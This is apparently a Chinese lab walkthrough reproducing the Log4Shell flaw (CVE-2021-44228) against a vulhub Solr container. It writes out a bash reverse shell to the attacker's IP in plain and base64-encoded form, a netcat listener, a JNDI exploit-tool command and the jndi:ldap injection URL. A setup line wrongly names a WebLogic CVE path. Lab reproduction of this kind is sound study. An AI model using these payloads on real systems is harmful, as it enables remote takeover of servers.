CVE-2021-44228 log4j漏洞复现
【注意】本文只是记录漏洞复现的操作过程,以下仅供学习参考之目的,勿作他用,否则后果自负。
环境
靶机:ubuntu
攻击机:Kali-linux
漏洞搭建:\vulhub-master\weblogic\CVE-2023-21839
使用到的工具
具体复现过程:
0、准备工作
- 进入攻击机kali,
java -version
查看java 版本,由于工具需要低于1.8版本,而kali自带的版本过高,需切换到1.8版本,具体过程,可以参考这篇文章kali切换jdk版本,该作者写得非常清楚,此处不再赘述。 - 进入靶机ubuntu,进入
vulhub-master\log4j\CVE-2021-44228
,搭建漏洞环境,搭建成功后,在浏览器中输入:靶机IP:8983
,页面如下:
1、构造payload
反弹shell:bash -i >& /dev/tcp/192.168.68.150/2233 0>&1
解释:bash -i >& /dev/tcp/攻击机IP/攻击机监听端口[任意给哈] 0>&1
对payload进行base64编码:可以利用编码网站(推荐使用,更加便捷,更少出错😀),也可以通过编辑器手动编码(如果网站失效了,就手动吧😂),得到如下:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY4LjE1MC8yMjMzIDA+JjE}|{base64,-d}|{bash,-i}
解释:bash -c {echo,反弹shell的base64编码}|{base64,-d}|{bash,-i}
2、监听端口
打开一个cmd,输入 nc -lvvp 2233
解释:nc -lvvp 步骤1中构造payload时设置的端口
3、利用工具
另起一个cmd,利用工具:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY4LjE1MC8yMjMzIDA+JjE}|{base64,-d}|{bash,-i}" -A "192.168.68.150"
解释:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "步骤1中构造的payload" -A "攻击机IP"
4、得到工具生成的payload
注意图中框出部分,复制对应版本JDK的payload
5、浏览器访问
浏览器访问:192.168.68.130:8983/solr/admin/cores?action=${jndi:ldap://192.168.68.150:1389/4aazyj}
解释:靶机IP:1389/solr/admin/cores?action=${jndi:步骤3中得到的payload}
(两种payload都可以,分别对应的两种协议)
页面返回的结果如下:
6、返回CMD1查看
发现服务器已经接收到返回信息
7、返回CMD2查看
发现已经进入到docker中的服务器命令行界面